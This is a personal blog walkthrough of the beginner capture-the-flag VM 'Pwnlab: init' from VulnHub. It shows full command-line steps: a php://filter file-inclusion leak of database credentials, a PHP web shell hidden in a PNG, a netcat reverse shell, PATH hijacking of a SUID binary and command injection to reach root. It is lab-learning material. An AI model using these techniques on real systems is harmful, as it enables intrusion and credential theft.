John's Headshot

John's InfoSec Ramblings

The thoughts of a man working his way through a career in Information Security.

John Svazic

18 minute read

Pwnlab: init

Name       : Pwnlab: init
Difficulty : Beginner
Type       : boot2root
Source     : VulnHub
URL        :,158/
Entry      : 9 / 30

Welcome to the walkthrough for Pwnlab: init, a boot2root CTF found on VulnHub. This is the ninth VM in my VulnHub Challenge!

Pwnlab is a lot more involved than the other machines I’ve done up to now. It may be listed as a beginner machine, but I can assure you this one will put you through your paces! Lots of fun though, and definitely on the list of must-try machines in preparation for the OSCP.


As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root directory.


I’m using VMWare Workstation Player to host Kali and the Pwnlab: init image, with both VMs running in a NAT network. Nothing special about the setup here, so you should be fine using either VirtualBox or VMWare Player.


I use netdiscover to search for the IP address of the target VM:

 root@dante:~# netdiscover -r
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------   00:50:56:c0:00:08      1      60  VMware, Inc.   00:50:56:e0:ea:a0      1      60  VMware, Inc. 00:0c:29:e8:22:bd      1      60  VMware, Inc. 00:50:56:e1:17:e5      1      60  VMware, Inc.

So it looks like is our target IP.


I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap
Starting Nmap 7.80 ( ) at 2019-09-15 19:35 EDT
Nmap scan report for
Host is up (0.00075s latency).
Not shown: 997 closed ports
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
MAC Address: 00:0C:29:E8:22:BD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
root@dante:~# nmap -sC -sV -p80,111,3306
Starting Nmap 7.80 ( ) at 2019-09-15 19:35 EDT
Nmap scan report for
Host is up (0.00090s latency).

80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36690/tcp   status
|   100024  1          42476/tcp6  status
|   100024  1          43227/udp   status
|_  100024  1          53872/udp6  status
3306/tcp open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 38
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, FoundRows, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongPassword, InteractiveClient, IgnoreSigpipes, SupportsTransactions, SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolNew, LongColumnFlag, ODBCClient, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: Oz:NYSw{'K'|aNEN7f~i
|_  Auth Plugin Name: mysql_native_password
MAC Address: 00:0C:29:E8:22:BD (VMware)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds

Looks like I’m looking at a web infiltration on this machine, since I’m not seeing any SSH, Telnet, or FTP ports open. MySQL being exposed is also interesting, but I’ll try going through the front door first, i.e. see what port 80 gives me.

Web Reconnaissance

As with other VMs, I’m going to start with curl and see what I can pull down from the main URL:

root@dante:~# curl -v
*   Trying
* Connected to ( port 80 (#0)
> GET / HTTP/1.1
> Host:
> User-Agent: curl/7.65.3
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 15 Sep 2019 23:39:30 GMT
< Server: Apache/2.4.10 (Debian)
< Vary: Accept-Encoding
< Content-Length: 332
< Content-Type: text/html; charset=UTF-8
<title>PwnLab Intranet Image Hosting</title>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
Use this server to upload and share image files inside the intranet</center>
* Connection #0 to host left intact

Not a whole lot here. The interesting thing is how the other pages are referenced using a page query parameter. This is typical in PHP applications, so I’m going to assume this is a PHP app.

To test my theory out, I’m going to run gobuster and see what comes out when I specify the .php extension:

root@dante:~# gobuster dir -f -t 50 -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Add Slash:      true
[+] Timeout:        10s
2019/09/15 19:43:13 Starting gobuster
/icons/ (Status: 403)
/upload/ (Status: 200)
/upload.php (Status: 200)
/images/ (Status: 200)
/index.php (Status: 200)
/config.php (Status: 200)
/login.php (Status: 200)
/server-status/ (Status: 403)
2019/09/15 19:44:01 Finished

Well that was informative! Actually there are two things that stand out to me:

  1. There is an /upload.php and /upload/ entry in the list
  2. There is a config.php file, which may contain details like a MySQL password or something.

Looking at the /upload/ path, I can see a nice directory listing (that happens to be empty):

/upload/ directory

And as for the upload.php file, I apparently need to be logged in first:


Browsing to /config.php gives me a blank page, which makes sense since it should be chalked full of configuration variables used by other parts of the site. Since I want to get it’s content, I think about all the different ways to perform Local File Inclusion (LFI) attacks against a PHP application. I turn to my trusty LFI cheat sheet for inspiration.

Note: Some of you may be thinking that I should have gone for a SQL injection attack against the login page, and you’d be right. I actually did try that but I didn’t get anywhere with it. Granted I stayed away from SQLmap, so I’m not sure if that would have worked or not, but I really wanted to see what I could get from this config.php page instead. It’s rare to see MySQL exposed like this, so I figured my best bet was to go after that application next, and I have faith that config.php has the info I’m looking for.


Now I’m a fan of the php://filter method for LFI, using the convert.base64-encode to encode the data. It obfuscates it just enough to slip past some basic protections. Since I’m after the config.php file, I’ll target it:

root@dante:~# curl | html2text
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   405  100   405    0     0   197k      0 --:--:-- --:--:-- --:--:--  197k
                        [ Home ] [ Login ] [ Upload ]

root@dante:~# curl -s | html2text | tail -n 1 | base64 -d
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

And there it is! All on the command line and all in one go. Yes I could have decoded this in Burp and whatnot, but I really like my CLI.

Now that I have a repeatable process, I might as well see what the other pages are doing. After all, why stop at just config.php, when I have login.php, upload.php, and index.php as well! I will have to adjust the number of lines to read via tail, but that’s a small price to pay.


curl -s | html2text | tail -n 4 | base64 -d
//Multilingual. Not implemented yet.
if (isset($_COOKIE['lang']))
// Not implemented yet.
<title>PwnLab Intranet Image Hosting</title>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
        if (isset($_GET['page']))
                echo "Use this server to upload and share image files inside the intranet";

Wow, looks like there are two areas for injection here! The lang cookie and the page query parameter. The lang cookie value is easiest since it doesn’t append any strings afterwards like the page query parameter does, so this may come in handy later.


oot@dante:~# curl -s | html2text | tail -n 4 | base64 -d
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
        $luser = $_POST['user'];
        $lpass = base64_encode($_POST['pass']);

        $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
        $stmt->bind_param('ss', $luser, $lpass);


        if ($stmt->num_rows == 1)
                $_SESSION['user'] = $luser;
                header('Location: ?page=upload');
                echo "Login failed.";
        <form action="" method="POST">
        <label>Username: </label><input id="user" type="test" name="user"><br />
        <label>Password: </label><input id="pass" type="password" name="pass"><br />
        <input type="submit" name="submit" value="Login">

So the login page is using prepared statements, making SQL injection a non-starter. That explains the difficulty I had earlier in trying to do simple SQLi to get in. Oh well, at least I didn’t spend a lot of time on it. Still, it’s interesting to see it relies on the config.php file I grabbed earlier.


root@dante:~# curl -s | html2text | tail -n 4 | base64 -d
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png");

                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');

                if(strpos($filetype,'image') === false) {
                        die('Error 001');

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');

                if(substr_count($filetype, '/')>1){
                        die('Error 003');

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');

?base64: invalid input

Not perfect output, but good enough. This one is particularly interesting in that it seems to be restricting the types of files that can be uploaded. It checks the file extension as well as the MIME type via the PHP getimagesize method. This basically means that I can’t upload a PHP web shell with .php.jpg as the extension and expect it to work.

Alright, now that I have some code, let me turn to the exposed MySQL connection and see what I can get out of it.

MySQL Enumeration

From the config.php file above, I know the password for root on MySQL is H4u%QJ_H99. Let me see what’s available:

root@dante:~# mysql -uroot -p"H4u%QJ_H99" -h Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [Users]> show databases;
| Database           |
| information_schema |
| Users              |
2 rows in set (0.00 sec)

MySQL [Users]> show tables;
| Tables_in_Users |
| users           |
1 row in set (0.00 sec)

MySQL [Users]> select * from users;
| user | pass             |
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
3 rows in set (0.01 sec)

MySQL [Users]>

So not a lot of extras in the MySQL server. There’s one main database, which has one table, which has encrypted passwords. I’ve copied these usernames and passwords to a CSV file and I wrote a small Python script to decrypt them:

import base64,sys

def decodePass(encoded_passwd):
    passwd = base64.b64decode(encoded_passwd)
    return passwd

with open(sys.argv[1]) as f:
    for line in f:
        (user, passwd) = line.split(',')
        print "%s: %s" % (user, decodePass(passwd))

I could have also done something like echo <password> | base64 -d to decode the passwords via the command line, but I like to flex my old programming muscles every so often. Anyways, once I run my code I get the decoded passwords:

root@dante:~/vulnhub/pwnlab# python users.txt
kent: JWzXuBJJNy
mike: SIfdsTEn6I
kane: iSv5Ym2GRo

Now that I have the passwords, I can log in and try uploading a web shell.

Web Shell

Now the fun sets in. As I mentioned earlier, the upload.php file has a few checks to make sure I am actually uploading a file before allowing it to be saved on the server. What this means is I can’t take a standard web shell like /usr/share/webshells/php/simple-backdoor.php from Kali and rename it to simple-backdoor.php.jpg and expect it to work.

So what am I going to do? Well, the bare minimum of course! I’ll go to and download a simple 1x1 pixel PNG, then append my simple-backdoor.php code to the end of it!

root@dante:~# cat /usr/share/webshells/php/simple-backdoor.php >> 1x1-00000000.png
root@dante:~# cat 1x1-00000000.png


   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK ( -->


        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        echo "</pre>";



<!--   2006    -->

As you can see, the first few bytes are a valid PNG file, it’s just the tail end of the file that happens to be my “malicious” code. Now to see if this uploads:

upload PNG web shell

It works! Well, there was no error displayed, so there’s hope. Now let me check the /upload/ directory to see if I can get the new filename, since upload.php file will rename it with some MD5 hashed name:

directory listing for PNG web shell

Yes, it is definitely there! Unfortunately clicking on it will not trigger the PHP interpreter, since the MIME type for this is still a PNG file:

interpreted as just an image

However hope is not lost! Remember the index.php file from earlier? There’s a classic OWASP Injection vulnerability in the lang cookie parameter! I should be able to craft a simple curl query using the -b flag to set the cookie value to the image file I uploaded earlier. This will include the PNG file, along with the PHP web shell I added to the end of it, into the index.php code, meaning I can pass in query parameters to this URL and run them!

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png


   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK ( -->


It may not be pretty, but it worked! I can see that the Apache server is running as www-data, which is expected. Now let me see if I can get a foothold on this machine.

Establishing a Foothold

First, let me see if nc is available:

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png


   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK ( -->


Yes, it is available! Awesome, let me setup a listener and then execute a reverse connection using nc:

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png
root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
python -c "import pty;pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ export TERM=screen
export TERM=screen

Success. I create a proper TTY session using Python, and export the TERM variable so I can clear the screen. Now let me go hunting for ways to escalate my privileges.

Escalating Privileges

I’m going to do some light recon before I move on to using scripts like I’ll start by looking at what users are on the system by looking at the /etc/passwd file:

root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
python -c "import pty;pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ export TERM=screen
export TERM=screen
www-data@pwnlab:/var/www/html$ cat /etc/passwd
cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false

So there are a few users on the system, including john, kent, mike, and kane. From the previous work with MySQL, I have passwords for three of these users. I’ll start in alphabetical order and see if kane re-used his password:

www-data@pwnlab:/var/www/html$ su kane
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/var/www/html$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -al
ls -al
total 36
drwxr-x--- 2 kane kane 4096 Jun 25 11:45 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw------- 1 kane kane  303 Jun 24 21:24 .bash_history
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
-rwxr-xr-x 1 kane kane   10 Jun 25 11:45 cat
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile

Success again! It seems there is a /home/kane/msgmike application that has the SUID bit set to mike. This is great since I did a quick check on sudo for kane, and it did not work. Let me see what this program does exactly, and then use the strings command to see if there’s anything interesting in it:

kane@pwnlab:~$ ./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ strings msgmike
strings msgmike
cat /home/mike/msg.txt
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4

This is interesting. It seems to call cat on a file in /home/mike that doesn’t exist. Looking at the output of the strings command, I can see that the call to cat is relative and not absolute. What does that mean? It means I can have this application call whatever cat file I want, provided I manipulate the path. Let me do just that.

Escalating to mike

I create my own version of cat in /tmp and adjust the PATH variable accordingly before I re-run the msgmike program:

kane@pwnlab:/tmp$ echo "bash -i" > cat
echo "bash -i" > cat
kane@pwnlab:/tmp$ chmod 755 cat
chmod 755 cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ./msgmike
mike@pwnlab:~$ cd /home/mike
cd /home/mike
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Jun 24 21:36 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile

Excellent! We’re now logged in as mike! This new user seems to have a similar SUID/SGID program called msg2root, which feels familiar. I’m going to start with the strings command first just to see if something jumps out at me:

mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
Message for root:
/bin/echo %s >> /root/messages.txt

I see that there’s another one of these command line injections available, but this time it’s a bit different. Previously the cat command was relative, but here the echo command is absolute so I can’t use the same trick as before.

Escalating to root

Having said that, you can see that the string taken from the user is blindly injected into the string! The %s is a variable that substitutes the input from the user. That’s the theory at least, but I’m going to try it. I’ll inject a string like a ; /bin/sh ; #, which should give a valid value for the echo command, and then chain the /bin/sh command afterwards. The # will comment out the rest of the following command, not that it’s necessary:

mike@pwnlab:/home/mike$ ./msg2root
Message for root: a ; /bin/sh ; #
a ; /bin/sh ; #
# cd /root
cd /root
# ls -al
ls -al
total 20
drwx------  2 root root 4096 Mar 17  2016 .
drwxr-xr-x 21 root root 4096 Mar 17  2016 ..
lrwxrwxrwx  1 root root    9 Mar 17  2016 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
----------  1 root root 1840 Mar 17  2016 flag.txt
lrwxrwxrwx  1 root root    9 Mar 17  2016 messages.txt -> /dev/null
lrwxrwxrwx  1 root root    9 Mar 17  2016 .mysql_history -> /dev/null
-rw-r--r--  1 root root  140 Nov 19  2007 .profile

Get The Flag

Success! I’ve escalated to root. Now let me grab the flag (making sure that I use the absolute path to cat, or I’ll pick up my hacked one in /tmp/cat):

# /bin/cat flag.txt
/bin/cat flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For  (__  _)
( _ __)                       - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'


comments powered by Disqus

Recent posts

See more



Hi. I'm John, and I'm an Information Security Generalist.